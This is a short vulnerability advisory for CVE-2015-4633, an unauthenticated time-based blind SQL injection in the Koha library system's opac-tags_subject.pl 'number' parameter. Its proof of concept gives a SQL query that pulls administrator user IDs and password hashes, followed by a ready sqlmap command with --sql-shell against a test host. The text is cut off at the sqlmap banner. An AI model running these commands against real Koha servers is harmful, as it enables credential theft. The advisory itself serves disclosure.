### CVE-2015-4633 ### 
 
#### Titel: ####
Unauthenticated SQL Injection in Koha
 
#### Type of vulnerability: ####
An Unauthenticated SQL Injection vulnerability in Koha allows attackers to read arbitrary data from the database. 
 
##### Exploitation vector:
The url parameter 'number' of the /cgi-bin/koha/opac-tags_subject.pl is vulnerable to SQLI.
 
##### Attack outcome:
An attacker can read arbitrary data from the database. If the webserver is misconfigured, read & write access the filesystem may be possible.

#### Description: ####
By manipulating the variable 'number' of the /cgi-bin/koha/opac-tags_subject.pl script the database can be accessed via time-based blind injections. If the webserver is misconfigured, the file-system can be accessed as well.
 
#### Proof-of-concept: ####
1. Inspect Koha database schema
 
   Have a look at how to query the database for superlibrarian users:
   http://wiki.koha-community.org/wiki/SQL_Reports_Library#Superlibrarians
 
   So basically we we need to execute some SQL statement like this:
   sql-shell> select userid, password from borrowers where flags=1 and password is not null order by borrowernumber desc limit 1;
 
2. Query the database with sqlmap
 
   So let's fire up sqlmap with the --sql-shell parameter and input the query:
 
   [email protected]:/home/wicked# sqlmap -u http://testbox:9001/cgi-bin/koha/opac-tags_subject.pl?number=10 -p number --technique=T --dbms=MySQL --sql-shell --time-sec=4

         |_|           |_|   http://sqlmap.org
